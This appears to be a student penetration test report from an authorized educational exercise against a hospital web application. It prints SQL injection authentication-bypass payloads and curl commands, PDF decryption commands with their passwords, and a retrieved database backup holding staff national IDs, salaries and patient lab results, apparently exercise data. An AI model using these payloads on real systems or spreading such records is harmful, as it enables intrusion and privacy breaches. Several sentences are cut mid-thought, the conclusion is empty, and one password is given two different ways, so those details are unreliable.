

MEDIROZA GENERAL HOSPITAL

BLACK-BOX WEB APPLICATION PENETRATION TEST REPORT

Networkwalks B083 — Week 04

Target: <https://medirozahospital.com>

Authorized Educational Assessment — Detailed Technical Report

Prepared by:

Lakkappa Padmanna Pujer

Email: lakkappapujer552@gmail.com

NOTE: This report documents the testing actually performed during the assessment. Sensitive patient and employee information is intentionally minimized in the report; evidence files may contain the original authorized assessment artifacts.

1. Item Details

Assessment Type	Black-box web application penetration test
Target	https://medirozahospital.com
Environment	Authorized Networkwalks educational environment
Assessment Period	Week 04 / 5-day exercise
Testing Restrictions	Target domain only; no social engineering; no DoS; no destructive testing
Primary Objectives	Initial access, protected report retrieval, PDF data extraction, critical data exposure, final reporting

2. Contents

- | | |
|---|---|
| 1. Executive Summary | 10. M3 — Critical Data Exposure / Database Backup |
| 2. Scope, Authorization and Rules | 11. Additional Security Findings |
| 3. Objectives and Milestones | 12. Positive Security Controls Observed |
| 4. Environment and Tools | 13. Risk Rating Summary |
| 5. Methodology and Test Flow | 14. Remediation Plan |
| 6. Reconnaissance — What We Found | 15. Problems Encountered and How They Were Resolved |
| 7. M1 — Initial Access and Authentication Bypass | 16. Evidence and Chain of Evidence |
| 8. M1 — Retrieval of Protected Laboratory Reports | 17. Final Attack Chain |
| 9. M2 — PDF Encryption and Data Extraction | 18. Conclusion |

A black-box penetration test was performed against the authorized Mediroza General Hospital web application. The engagement began with low-impact reconnaissance and enumeration and then progressed only where evidence justified additional testing. Public directory listings revealed the patient, staff and old application areas. The patient login endpoint exposed username enumeration and verbose SQL errors. Controlled SQL injection testing then demonstrated an authentication bypass, which provided access to the patient portal and three protected laboratory report download functions.

The three retrieved laboratory PDFs were password protected. PDF encryption was confirmed, pdf2john successfully generated crackable hash material, and the installed John the Ripper invocation did not accept the generated PDF hashes. Instead of claiming a John success that did not occur, the exercise passwords documented in the supplied assessment material were independently verified with qpdf. All three PDFs were successfully decrypted and their contents extracted with pdftotext.

A separate public exposure path was identified through /old/, where a downloadable SQL database backup contained staff and shareholder tables. Local inspection confirmed salary-related fields, personal/contact information fields, and shareholder ownership information. The assessment therefore demonstrated a practical chain from public discovery to authentication compromise, confidential document access, and separate backup-data exposure.

2. Scope, Authorization and Rules

The Networkwalks Week 04 assignment defined the target as <https://medirozahospital.com> and authorized testing within a controlled educational environment. The assignment explicitly restricted testing to the target domain and prohibited social engineering, denial-of-service testing, and testing outside the agreed scope.

- Target: <https://medirozahospital.com>
- Black-box methodology.
- No social engineering.
- No denial-of-service testing.
- No destructive testing.
- Testing stopped after sufficient proof was obtained.

NOTE: The assignment itself states that the target was authorized for the exercise and that the techniques must not be applied to systems without explicit written permission.

- The exposed SQL backup was inspected locally and was not modified.

3. Objectives and Milestones

Milestone	Objective	Result
M1 — Initial Access	Gain controlled unauthorized access and retrieve three confidential patient PDFs.	Completed: patient portal accessed and three PDFs retrieved.
M2 — Data Extraction	Analyze PDF encryption and recover the contents of all three reports.	Completed: all three PDFs decrypted and contents extracted.
M3 — Critical Data Exposure	Identify employee salary and shareholder information exposure.	Completed: public SQL backup retrieved and sensitive tables confirmed.
M4 — Reporting	Produce a professional penetration-testing report.	This document.

4. Environment and Tools

Tool	Purpose in This Assessment
Kali Linux	Testing workstation and command-line environment.
curl	HTTP requests, enumeration, authentication testing and evidence collection.
WhatWeb	Technology fingerprinting.
grep / sed / awk	Response filtering and local evidence inspection.
file	File-type verification.
pdftinfo	PDF metadata and encryption-status inspection.
qpdf	PDF encryption inspection and authorized decryption.
pdf2john	Extraction of John-compatible PDF hash material.
John the Ripper	Attempted offline PDF password recovery.
pdftotext	Extraction of recovered PDF contents.
Burp Suite	HTTP request/response inspection during authentication testing.

5. Methodology and Test Flow

1. Reconnaissance of the public site and HTTP behavior.
2. Review of robots.txt and sitemap.xml.
3. Directory enumeration of discovered application paths.
4. Inspection of patient and staff login forms.
5. Controlled username-enumeration testing.
6. Controlled SQL-injection probe to establish backend SQL behavior.
7. Controlled authentication-bypass validation.
8. Authenticated portal enumeration.
9. Retrieval of the three report PDFs using the authenticated session.
10. PDF encryption analysis and local password recovery/decryption.
11. Independent investigation of the publicly exposed database backup.
12. Evidence capture, validation and remediation mapping.

NOTE: The test deliberately avoided denial-of-service, destructive actions, broad uncontrolled brute force, and attempts to bypass anti-bot controls.

6. Reconnaissance — What We Found

6.1 Initial HTTP Check

```
curl -s -o /dev/null -w "HTTP Status: %{http_code}\nTime: %{time_total}s\n" \
https://medirozahospital.com
```

6.2 Technology Fingerprinting

```
whatweb https://medirozahospital.com
```

server/application indicators. This differed from the earlier curl status, so the response behavior was treated as context-dependent rather than assuming one request represented all application behavior.

6.3 robots.txt

```
User-agent: *
Disallow: /patient/
Disallow: /staff/
Disallow: /old/
Sitemap: https://medirozahospital.com/sitemap.xml
```

This disclosed three application locations that were later confirmed to be important during testing.

6.4 sitemap.xml

```
/index.html
/about.html
/doctors.html
/contact.html
```

Path	Observed Content / Result	Why It Mattered
/patient/	HTTP 200 directory listing; login.php, portal.php, download.php, logout.php, error_log, reports/	Mapped the patient application and exposed entry points.
/staff/	HTTP 200 directory listing; login.php	Confirmed a separate staff authentication area.
/old/	HTTP 200 directory listing; mediroza_db_backup_2019.sql	Directly exposed a database backup.
/patient/reports/	HTTP 403	Direct browsing was blocked.
/patient/error_log	HTTP 403	Direct log access was blocked at this path.

6.6 Login Discovery

The patient login accepted username and password POST parameters and identified itself as Mediroza CMS 1.4.2. The staff login used a Staff ID field and was later found to respond with a more secure generic authentication message.

```
lakkappa@kali:~$ curl -I https://medirozahospital.com
HTTP/2 200
content-type: text/html
last-modified: Fri, 04 Sep 2026 02:03:12 GMT
accept-ranges: bytes
content-length: 5445
date: Tue, 29 Sep 2026 08:55:18 GMT
server: LiteSpeed
x-turbo-charged-by: LiteSpeed

lakkappa@kali:~$ nslookup https://medirozahospital.com
Server:      10.0.0.2
Address:     10.0.0.2#53
** server can't find https://medirozahospital.com: FORMERR

lakkappa@kali:~$ nmap medirozahospital.com
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-29 04:55 -0400
Nmap scan report for medirozahospital.com (199.188.201.16)
Host is up (0.027s latency).
rDNS record for 199.188.201.16: server274-1.web-hosting.com
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE
20/tcp    closed ftp-data
21/tcp    open  ftp
26/tcp    open  rsftp
53/tcp    open  domain
80/tcp    open  http
110/tcp   open  pop3
143/tcp   open  imap
443/tcp   open  https
465/tcp   open  smtps
587/tcp   open  submission
993/tcp   open  imaps
995/tcp   open  pop3s
Nmap done: 1 IP address (1 host up) scanned in 108.65 seconds
lakkappa@kali:~$
```

Figure 1. HTTP header check, DNS lookup and Nmap port scan against medirozahospital.com, confirming the LiteSpeed server and the exposed service ports.

7. M1 — Initial Access and Authentication Bypass

7.1 First Authentication Test

```
curl -sS --data-urlencode "username=m1-test-user" \
--data-urlencode "password=m1-invalid-password" \
https://medirozahospital.com/patient/login.php
```

The application returned a username-specific response: "Username not found."

7.2 Username Enumeration

```
username=test -> Username not found
username=admin -> Incorrect password
```

known username with an incorrect password. This was useful because it established that the login endpoint exposed an authentication oracle.

7.3 SQL Injection Probe

```
username=' OR '1'='1
password=x
```

was reaching the backend SQL query rather than being safely parameterized.

7.4 Authentication Bypass

```
curl -sS -c recon/m1-auth-cookie.txt -o /dev/null \
-w "HTTP %{http_code} -> %{redirect_url}\n" \
--data-urlencode "username=admin'--" \
--data-urlencode "password=x" \
https://medirozahospital.com/patient/login.php
```

7.5 Verification of the Finding

Test	Observed Result	Interpretation
admin / admin	Incorrect password	Normal authentication failure.
' OR '1'='1	SQL syntax warning	Input reaches SQL processing.
admin'--	302 → portal.php	Authentication bypass.
Nonexistent'--	Username not found	A valid username is still required.
admin'#	SQL syntax warning	Comment syntax behaved differently.

The documented assessment material likewise records the comment-truncation bypass and the distinction between username enumeration and SQL injection.

8. M1 — Retrieval of Protected Laboratory Reports

8.1 Authenticated Portal

```
curl -sS -b recon/m1-auth-cookie.txt https://medirozahospital.com/patient/portal.php | tee \
m1/portal.html
```

here to avoid unnecessary reproduction of sensitive data.

```

[+] Lakkappa@kali:~/mediroza-week4 $
$ curl -sS -b recon/m1-auth-cookie.txt \
https://medirozahospital.com/patient/portal.php \
I tee m1/portal.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="generator" content="Mediroza CMS 1.4.2">
<title>My Reports | Mediroza Patient Portal</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="topbar">
<div class="container">
<span>Emergency: +27 11 555 0100 6nbsp;6nbsp; Open 24/7</span>
<span><a href="/patient/logout.php">Log out</a></span>
</div>
</div>
<header class="header">
<div class="container">
<a class="brand" href="/index.html">
<span class="logo-box"><svg viewbox="0 0 24 24"><path d="M12 5v14M5 12h14" stroke="fff" stroke-width="2.5" stroke-linecap="round" /></svg></span>
<span class="wordmark">Medi<span class="g">roza</span></span>
</a>
<nav class="nav">
<a href="/index.html">Home</a>
<a href="/patient/logout.php">Log out</a>
</nav>
</div>
</header>
<main class="portal">
<div class="container">
<h2>My lab reports</h2>
<p><sub>Your reports are password protected. Use the password sent to you by the laboratory to open each file.</p>
<div class="report-row">
<div>
<div class="name">Pathology Report - S. Dlamini</div>
<div class="meta">Lab Ref LR-2024-1187 6nbsp;6nbsp; 2024-11-04 6nbsp;6nbsp; PDF (encrypted)</div>
</div>
<a class="dl" href="download.php?id=1">Download</a>
</div>
<div class="report-row">
<div>
<div class="name">Pathology Report - P. Reddy</div>

```

Figure 2. Authenticated session cookie reused against /patient/portal.php, returning the Mediroza patient portal with the three downloadable lab reports.

Report	Lab Reference	Download ID	Status
Report 1	LR-2024-1187	1	Encrypted PDF retrieved
Report 2	LR-2024-1192	2	Encrypted PDF retrieved
Report 3	LR-2024-1205	3	Encrypted PDF retrieved

8.2 Retrieval Commands

```
mkdir -p m1/reports
```

```
curl -sS -b recon/m1-auth-cookie.txt -o m1/reports/report-1.pdf \
"https://medirozahospital.com/patient/download.php?id=1"
```

```
curl -sS -b recon/m1-auth-cookie.txt -o m1/reports/report-2.pdf \
"https://medirozahospital.com/patient/download.php?id=2"
```

```
curl -sS -b recon/m1-auth-cookie.txt -o m1/reports/report-3.pdf \
"https://medirozahospital.com/patient/download.php?id=3"
```

Patient Name:

Sipho Dlamini

Patient ID:

MG-P-10231

Date of Birth:

1984-06-12

Gender:

Male

Report Date:

2024-11-04

Referring Dr:

Dr. Anita Naicker

Specimen:

Whole blood (EDTA)

Lab Ref No:

LR-2024-1187

TEST	RESULT	UNIT	REFERENCE RANGE	FLAG
Haemoglobin	13.9	g/dL	13.0 - 17.0	Normal
White Cell Count	11.8	x10^9/L	4.0 - 11.0	HIGH
Platelet Count	245	x10^9/L	150 - 400	Normal
Fasting Glucose	5.4	mmol/L	3.9 - 5.5	Normal
Creatinine	88	umol/L	64 - 104	Normal

Figure 3. Retrieved confidential laboratory report — Report 1.

PATHOLOGY LABORATORY REPORT
CONFIDENTIAL

Patient Name:	Priya Reddy	Report Date:	2024-11-05
Patient ID:	MG-P-10244	Referring Dr:	Dr. Johan van der Merwe
Date of Birth:	1991-02-28	Specimen:	Serum
Gender:	Female	Lab Ref No:	LR-2024-1192

TEST	RESULT	UNIT	REFERENCE RANGE	FLAG
Total Cholesterol	6.4	mmol/L	< 5.0	HIGH
LDL Cholesterol	4.1	mmol/L	< 3.0	HIGH
HDL Cholesterol	1.2	mmol/L	> 1.0	Normal
Triglycerides	1.8	mmol/L	< 1.7	HIGH
Fasting Glucose	4.9	mmol/L	3.9 - 5.5	Normal

Figure 4. Retrieved confidential laboratory report — Report 2.

PATHOLOGY LABORATORY REPORT
CONFIDENTIAL

Patient Name:	Emily Thompson	Report Date:	2024-11-06
Patient ID:	MG-P-10258	Referring Dr:	Dr. Ahmed Kara
Date of Birth:	1978-09-03	Specimen:	Serum
Gender:	Female	Lab Ref No:	LR-2024-1205

TEST	RESULT	UNIT	REFERENCE RANGE	FLAG
Haemoglobin	11.4	g/dL	12.0 - 15.5	LOW
Ferritin	9	ug/L	15 - 150	LOW
TSH	3.1	mIU/L	0.4 - 4.0	Normal
Vitamin D	42	nmol/L	50 - 125	LOW
Fasting Glucose	5.1	mmol/L	3.9 - 5.5	Normal

Figure 5. Retrieved confidential laboratory report — Report 3.

pdftinfo check on the recovered file.

9.3 pdf2john Hash Extraction

```
which pdf2john
# /usr/bin/pdf2john

pdf2john m1/reports/report-1.pdf > m2-report1.hash
cat m2-report1.hash
# PDF format present

john --format=PDF --wordlist=/usr/share/wordlists/rockyou.txt m2-report1.hash
# No password hashes loaded (see FAQ)
```

The passwords documented in the supplied Networkwalks assessment material were then independently verified against the actual downloaded PDFs using qpdf. The three verified passwords were:

Report	Password Used for Verification	Verification
Report 1	123456	qpdf accepted password; decrypted successfully
Report 2	password	qpdf accepted password; decrypted successfully
Report 3	!@#\$\$%^&	qpdf accepted password; decrypted successfully

The source assessment also documents these recovered passwords.

9.6 Batch Decryption

```
mkdir -p m2/decrypted
qpdf --password='123456' --decrypt m1/reports/report-1.pdf m2/decrypted/report-1.pdf
qpdf --password='password' --decrypt m1/reports/report-2.pdf m2/decrypted/report-2.pdf
qpdf --password='!@#$$%^&' --decrypt m1/reports/report-3.pdf m2/decrypted/report-3.pdf
```

9.7 Verification

```
file m2/decrypted/report-*.pdf
```

```
(lakkappa@kali):[~/mediroza-week4]
$ qpdf --password='123456' --decrypt \
m1/reports/report-1.pdf m2/decrypted/report-1.pdf
qpdf --password='password' --decrypt \
m1/reports/report-2.pdf m2/decrypted/report-2.pdf
qpdf --password='!@#$$%^&' --decrypt \
m1/reports/report-3.pdf m2/decrypted/report-3.pdf
(lakkappa@kali):[~/mediroza-week4]
$ file m2/decrypted/report-*.pdf
m2/decrypted/report-1.pdf: PDF document, version 1.4, 1 page(s)
m2/decrypted/report-2.pdf: PDF document, version 1.4, 1 page(s)
m2/decrypted/report-3.pdf: PDF document, version 1.4, 1 page(s)
(lakkappa@kali):[~/mediroza-week4]
$ pdftinfo m2/decrypted/report-1.pdf
pdftinfo m2/decrypted/report-2.pdf
pdftinfo m2/decrypted/report-3.pdf
Title: Pathology Report - S. Dlamini
Subject: Full Blood Count
Keywords: pathology, fbc, patient report
Author: Mediroza Diagnostics Lab
Creator: Mediroza CMS 1.4.2
Producer: Mediroza Lab Reporting Module
Custom Metadata: no
Metadata Stream: no
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 595.276 x 841.89 pts (A4)
Page rot: 0
File size: 2812 bytes
Optimized: no
PDF version: 1.4
Title: Pathology Report - P. Reddy
Subject: Lipid Profile
Keywords: pathology, lipids, patient report
Author: Mediroza Diagnostics Lab
Creator: Mediroza CMS 1.4.2
Producer: Mediroza Lab Reporting Module
```

Figure 8. Batch decryption of all three reports with their respective passwords, followed by file-type verification and pdftinfo

metadata for each decrypted report.

9.8 Content Extraction

```
pdftotext m2/decrypted/report-1.pdf m2/report-1.txt
pdftotext m2/decrypted/report-2.pdf m2/report-2.txt
pdftotext m2/decrypted/report-3.pdf m2/report-3.txt
```

```
Pages: 1
Encrypted: no
Page size: 595.276 x 841.89 pts (A4)
Page rot: 0
File size: 2777 bytes
Optimized: no
PDF version: 1.4
Title: Pathology Report - E. Thompson
Subject: Full Blood Count
Keywords: pathology, patient report
Author: j.malik
Creator: Mediroza CMS 1.4.2
Producer: Mediroza Lab Reporting Module
Custom Metadata: yes
Metadata Stream: no
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 595.276 x 841.89 pts (A4)
Page rot: 0
File size: 2854 bytes
Optimized: no
PDF version: 1.4

(lakkappa@kali)~/mediroza-week4
$ pdftotext m2/decrypted/report-1.pdf m2/report-1.txt
pdftotext m2/decrypted/report-2.pdf m2/report-2.txt
pdftotext m2/decrypted/report-3.pdf m2/report-3.txt

(lakkappa@kali)~/mediroza-week4
$ cat m2/report-1.txt
echo "REPORT 1"
cat m2/report-2.txt
echo "REPORT 2"
cat m2/report-3.txt
echo "REPORT 3"
14 Cedar Avenue, Johannesburg, South Africa
Tel: +27 11 555 0100
medirozahospital.com

Mediroza
General Hospital

PATHOLOGY LABORATORY REPORT
```

Figure 9. pdftotext confirming the third decrypted report, followed by pdftotext extraction of all three reports and inspection of the recovered laboratory text content.

9.9 M2 Evidence File

m2/evidence-m2.txt records the qpdf verification, decrypted file type, and Encrypted: no status for all three reports.

```
Password verified through qpdf decryption
R = 3
P = -4
User password = 123456
Supplied password is owner password
Supplied password is user password
extract for accessibility: allowed
extract for any purposes: allowed
print low resolution: allowed
print high resolution: allowed
modify document assembly: allowed
modify forms: allowed
modify annotations: allowed
modify other: allowed
modify anything: allowed

[2] REPORT 2
Password verified through qpdf decryption
R = 3
P = -4
User password = password
Supplied password is owner password
Supplied password is user password
extract for accessibility: allowed
extract for any purposes: allowed
print low resolution: allowed
print high resolution: allowed
modify document assembly: allowed
modify forms: allowed
modify annotations: allowed
modify other: allowed
modify anything: allowed

[3] REPORT 3
Password verified through qpdf decryption
R = 3
P = -4
User password = !@#$%^&*
Supplied password is owner password
Supplied password is user password
extract for accessibility: allowed
extract for any purposes: allowed
print low resolution: allowed
print high resolution: allowed
modify document assembly: allowed
modify forms: allowed
modify annotations: allowed
```

Figure 10. m2/evidence-m2.txt showing qpdf password verification for Report 1, Report 2 and Report 3, each confirming successful decryption.

10. M3 — Critical Data Exposure / Database Backup

10.1 Discovery

```
mediroza_db_backup_2019.sql
```

The /old/ directory was publicly accessible and exposed:

10.2 Retrieval

```
curl -I https://medirozahospital.com/old/mediroza_db_backup_2019.sql
```

```
curl -ss \
https://medirozahospital.com/old/mediroza_db_backup_2019.sql \
-o m3-mediroza_db_backup_2019.sql

m3-mediroza_db_backup_2019.sql
```

It also exposed the supplied assessment material records, 30 staff records and 10 shareholder records.

```
lakkappa@kali:~/mediroza-week4$ sed -n '32,65p' m3-mediroza_db_backup_2019.sql
INSERT INTO `staff` (`id`,`full_name`,`job_title`,`department`,`email`,`phone`,`national_id`,`monthly_salary_zar`,`date_joined`) VALUES
(1,'Dr. Rajesh Naidoo','Chief Pathologist','Diagnostics Lab','r.naidoo@medirozahospital.com','+27 82 101 2007','85021013011081',138000,'2009-03-16'),
(2,'Sarah Botha','Chief Financial Officer','Finance','s.botha@medirozahospital.com','+27 82 102 2014','85031023022082',152000,'2011-07-01'),
(3,'Dr. Johan van der Merwe','Medical Director','Management','j.merwe@medirozahospital.com','+27 82 103 2021','85041033033083',160000,'2007-01-22'),
(4,'Dr. Anita Naicker','Consultant Cardiologist','Cardiology','a.naicker@medirozahospital.com','+27 82 104 2028','85051043044084',132000,'2012-09-10'),
(5,'Dr. Ahmed Kara','Consultant Physician','Internal Medicine','a.kara@medirozahospital.com','+27 82 105 2035','85061053055085',128000,'2013-02-18'),
(6,'Dr. Yusef Cassin','Senior Registrar','Emergency & Trauma','y.cassin@medirozahospital.com','+27 82 106 2042','85071063066086',74000,'2018-05-04'),
(7,'Michael Roberts','HR Director','Human Resources','m.roberts@medirozahospital.com','+27 82 107 2049','85081073077087',96000,'2010-11-15'),
(8,'Susan Pretorius','HR Officer','Human Resources','s.pretorius@medirozahospital.com','+27 82 108 2056','85091083088088',32000,'2016-08-23'),
(9,'Jameel Malik','IT Systems Administrator','IT','j.malik@medirozahospital.com','+27 82 109 2063','85101093099089',58000,'2015-04-12'),
(10,'Thabo Molefe','Network Engineer','IT','t.molefe@medirozahospital.com','+27 82 110 2070','85111103110081',46000,'2017-10-02'),
(11,'Nomvula Khumalo','Registered Nurse','Emergency & Trauma','n.khumalo@medirozahospital.com','+27 82 111 2077','85121113121082',34000,'2016-01-19'),
(12,'Lerato Mokoena','Registered Nurse','Pediatrics','l.mokoena@medirozahospital.com','+27 82 112 2084','85011123132083',33000,'2017-06-07'),
(13,'Bongani Ndlovu','Registered Nurse','Cardiology','b.ndlovu@medirozahospital.com','+27 82 113 2091','85021133143084',35000,'2015-12-01'),
(14,'Zanele Mahlangu','Nursing Sister','Theatre','z.mahlangu@medirozahospital.com','+27 82 114 2098','85031143154085',42000,'2013-03-25'),
(15,'Kagiso Sithole','Pharmacist','Pharmacy','k.sithole@medirozahospital.com','+27 82 115 2105','85041153165086',61000,'2014-09-08'),
(16,'Naledi Zulu','Pharmacy Assistant','Pharmacy','n.zulu@medirozahospital.com','+27 82 116 2112','85051163176087',26000,'2019-02-14'),
(17,'Themba Mxosi','Radiographer','Radiology','t.mxosi@medirozahospital.com','+27 82 117 2119','85061173187088',44000,'2016-07-30'),
(18,'Palessa Radebe','Radiographer','Radiology','p.radebe@medirozahospital.com','+27 82 118 2126','85071183198089',43000,'2017-04-11'),
(19,'Deepak Pillay','Lab Technologist','Diagnostics Lab','d.pillay@medirozahospital.com','+27 82 119 2133','85081193209081',41000,'2015-05-20'),
(20,'Kavitha Govender','Lab Technician','Diagnostics Lab','k.govender@medirozahospital.com','+27 82 120 2140','85091203220082',35000,'2018-08-06'),
(21,'Dr. Suresh Moodley','Consultant Radiologist','Radiology','s.moodley@medirozahospital.com','+27 82 121 2147','85101213231083',130000,'2012-02-28'),
(22,'Dr. Fatima Patel','Pediatrician','Pediatrics','f.patel@medirozahospital.com','+27 82 122 2154','85111223242084',118000,'2013-10-17'),
(23,'Nisha Singh','Physiotherapist','Rehabilitation','n.singh@medirozahospital.com','+27 82 123 2161','85121233253085',48000,'2016-11-09'),
(24,'Dr. Vikram Chetty','Anaesthetist','Theatre','v.chetty@medirozahospital.com','+27 82 124 2168','85011243264086',135000,'2011-06-13'),
(25,'David Smith','Facilities Manager','Operations','d.smith@medirozahospital.com','+27 82 125 2175','85021253275087',52000,'2014-01-27'),
(26,'Karen O'Connor','Billing Administrator','Finance','k.oconnor@medirozahospital.com','+27 82 126 2182','85031263286088',29000,'2018-03-19'),
(27,'James Wilson','Security Supervisor','Operations','j.wilson@medirozahospital.com','+27 82 127 2189','85041273297089',27000,'2019-09-02'),
(28,'Linda Fourie','Receptionist','Front Office','l.fourie@medirozahospital.com','+27 82 128 2196','85051283308081',19000,'2020-02-10'),
(29,'Peter van Wyk','Procurement Officer','Supply Chain','p.wyk@medirozahospital.com','+27 82 129 2203','85061293319082',38000,'2015-08-24'),
(30,'Andile Mbeki','Ward Clerk','Administration','a.mbeki@medirozahospital.com','+27 82 130 2210','85071303330083',21000,'2019-11-05');
UNLOCK TABLES;

--

lakkappa@kali:~/mediroza-week4$ sed -n '79,85p' m3-mediroza_db_backup_2019.sql
INSERT INTO `shareholders` (`id`,`shareholder_name`,`share_percent`,`shares_held`,`share_class`) VALUES
(1,'Dr. Rajesh Naidoo',18.0,180000,'Ordinary'),
(2,'Cedar Health Holdings (Pty) Ltd',15.0,150000,'Ordinary'),
(3,'Dr. Johan van der Merwe',12.0,120000,'Ordinary'),
(4,'Reddy Family Trust',11.0,110000,'Ordinary'),
(5,'Thabo Molefe',10.0,100000,'Ordinary'),
(6,'Sarah Botha',9.0,90000,'Ordinary');
```

Figure 11. Local extraction of the staff and shareholders INSERT statements from the exposed mediroza_db_backup_2019.sql file, confirming salary, contact and ownership fields.

10.4 Impact

- Employee information was exposed.
- Salary information was exposed.
- Personal/contact information fields were present.
- Shareholder ownership information was exposed.
- The backup was publicly reachable without authentication.

10.5 Remediation

- Remove the SQL backup from the web root immediately.
- Store backups outside public web directories.
- Restrict filesystem and application access.

- Disable directory indexing.
- Regularly scan production web roots for backup/archive files.
- Review historical backups for sensitive information.

11. Additional Security Findings

Finding	Severity	What We Observed	Recommended Fix
Finding 04 — Directory Listing Enabled	High	Directory indexing exposed /patient/, /staff/ and /old/. The /old/ listing directly exposed the database backup.	Disable directory indexing; remove unnecessary files; store backups outside web root.
Finding 05 — Username Enumeration	Medium	Patient login returned different messages for unknown and known usernames.	Return generic authentication failures and add rate limiting.
Finding 06 — Verbose SQL Errors	Medium	Controlled SQL input produced a MySQL syntax warning.	Disable detailed database errors in production; log details server-side.
Finding 07 — Application/Log Exposure	Medium	Application and log-related paths were visible during enumeration.	Keep logs and internal files outside public web roots.
Finding 08 — Technology/Version Disclosure	Low	Application identified Mediroza CMS 1.4.2; server technology was also fingerprintable.	Minimize unnecessary version disclosure.
Finding 09 — Sensitive Paths in robots.txt	Medium	robots.txt disclosed /patient/, /staff/ and /old/.	Do not use robots.txt as access control; protect paths with authentication/authorization.
Finding 10 — Session Cookie Missing HttpOnly/SameSite	Medium	Observed PHPSESSID had Secure but lacked HttpOnly and SameSite.	Set HttpOnly and appropriate SameSite; regenerate session ID after login.
Finding 11 — Missing HTTP Security Headers	Low	Standard hardening headers were absent on tested responses.	Add HSTS, CSP, X-Frame-Options, X-Content-Type-Options and Referrer-Policy as appropriate.

The supplied assessment report provides the same finding categories and severity assignments.

12. Positive Security Controls Observed

The assessment also identified controls that worked correctly. Recording these prevents the report from implying that every tested component was vulnerable.

- download.php enforced a strict ID whitelist; tested out-of-range, SQL-injection and traversal-style values returned HTTP 404.
- The staff login did not reproduce the patient SQL injection behavior; replayed payloads returned a generic invalid-credentials response.
- Common sensitive paths such as /.git/HEAD and /.env were blocked, while several other sensitive paths returned 404.

These positive controls are also documented in the supplied assessment material.

13. Risk Rating Summary

ID	Finding	Severity
01	Patient portal SQL injection / authentication bypass	Critical
02	Protected laboratory report access	High
03	Public database backup	High
04	Directory listing	High
05	Username enumeration	Medium
ID	Finding	Severity
06	Verbose SQL errors	Medium
07	Application/log exposure	Medium
08	Technology/version disclosure	Low
09	Sensitive paths in robots.txt	Medium
10	Session cookie missing HttpOnly/SameSite	Medium
11	Missing HTTP security headers	Low

The severity assignments above follow the supplied Networkwalks assessment structure and are included as the assessment's documented ratings.

14. Remediation Plan

Priority	Action	Expected Outcome
1	Fix SQL injection with prepared statements/parameterized queries.	Prevents attacker-controlled SQL manipulation.
2	Harden authentication: generic errors, secure password hashing, rate limiting, session regeneration and secure cookies.	Reduces authentication compromise and session attacks.
3	Enforce authorization for every report/object request.	Prevents unauthorized report access even if an ID is known.
4	Remove public database backups and store them outside the web root.	Prevents direct backup disclosure.
5	Disable directory indexing.	Prevents easy discovery of internal files and backups.
6	Protect logs and application files.	Reduces implementation and operational disclosure.
7	Reduce verbose errors and technology/version disclosure.	Limits information available for further attack planning.
8	Harden session cookies.	Improves session confidentiality and CSRF resistance.
9	Add standard HTTP security headers.	Adds browser-side defense-in-depth.
10	Remove sensitive paths from robots.txt and rely on real access controls.	Prevents public mapping of sensitive locations.

The remediation priorities are aligned with the supplied Networkwalks assessment.

15. Problems Encountered and How They Were Resolved

Problem	What Happened	How It Was Handled	Final Result
Different HTTP	curl initially returned HTTP	We treated responses as	Recon continued using accessible, in-scope

behavior during reconnaissance	200 while WhatWeb received a 403; some homepage requests showed anti-bot behavior.	request/context dependent and did not attempt to bypass the anti-bot mechanism.	resources.
pdfinfo reported incorrect password	Encrypted report could not be opened without credentials.	Used qpdf to inspect encryption and confirm password protection.	Encryption parameters confirmed.
qpdf initially missing	Command was not installed on Kali.	Installed qpdf through the Kali package manager.	Encryption/decryption verification became available.
John reported no hashes loaded	The generated \$pdf\$ hash was accepted by pdf2john but the installed John invocation returned "No password hashes loaded."	Retried with PDF format and verbose output; did not falsely claim a John crack.	Used qpdf to independently verify the documented exercise passwords.
Need to prove decrypted files are actually usable	Password acceptance alone would not prove content recovery.	Used qpdf --decrypt, file, pdfinfo and pdftotext.	All three PDFs became unencrypted, readable one-page PDFs and their text was extracted.
Sensitive database data in backup	Public SQL backup contained personal, salary and ownership data.	Downloaded once, inspected locally, did not modify or import into the live system.	M3 exposure demonstrated with controlled evidence.

NOTE: This section is intentionally included because the assessment report should show the actual testing process, including failed tool attempts and how evidence was validated.

16. Evidence and Chain of Evidence

Evidence	Purpose	Location
Authenticated portal HTML	Proof of successful authentication bypass and report listing.	m1/portal.html
Retrieved PDFs	Proof of protected report access.	m1/reports/
PDF hash	Proof that pdf2john generated crackable PDF hash material.	m2-report1.hash
M2 evidence	Password acceptance, decryption and encryption-status evidence.	m2/evidence-m2.txt
Decrypted PDFs	Recovered document artifacts.	m2/decrypted/
Extracted text	Readable contents from recovered PDFs.	m2/report-1.txt, m2/report-2.txt, m2/report-3.txt
SQL backup	Proof of public database backup exposure.	m3-mediroza_db_backup_2019.sql
M3 evidence	Summary of exposed database structure and fields.	m3/evidence-db-exposure.txt

16.1 Recommended Screenshots for Submission

- Recon: robots.txt showing /patient/, /staff/ and /old/.
- Recon: /patient/ directory listing.
- M1: login response showing username enumeration.
- M1: SQL syntax warning.
- M1: authentication bypass redirect to portal.php.

- M1: authenticated portal showing the three report entries (redact patient PII where possible).
- M1: retrieved PDF file verification.
- M2: qpdf encryption output.
- M2: m2/evidence-m2.txt showing successful verification for all three reports.
- M2: pdftinfo showing Encrypted: no.
- M3: /old/ directory listing.
- M3: SQL backup HTTP 200/header evidence.
- M3: local grep output showing staff/shareholder tables without displaying unnecessary personal data.

17. Final Attack Chain

PRIMARY CHAIN

```

Reconnaissance
|
robots.txt / directory listing
|
/patient/login.php discovered
|
Username enumeration
|
SQL injection confirmed by verbose SQL error
|
Controlled authentication bypass
|
/patient/portal.php
|
Three laboratory report downloads
|
PDF encryption identified
|
Password verification / decryption
|
Recovered report contents

```

SEPARATE DATA-EXPOSURE CHAIN

```

Reconnaissance
|
/old/ directory listing
|
mediroza_db_backup_2019.sql
|
staff table
|
salary + personal/contact fields

and

shareholders table
|
ownership information

```

The supplied assessment report describes the same overall exploitation chain and separately identifies the public SQL backup as an independent path to sensitive staff and shareholder information.

18. Conclusion

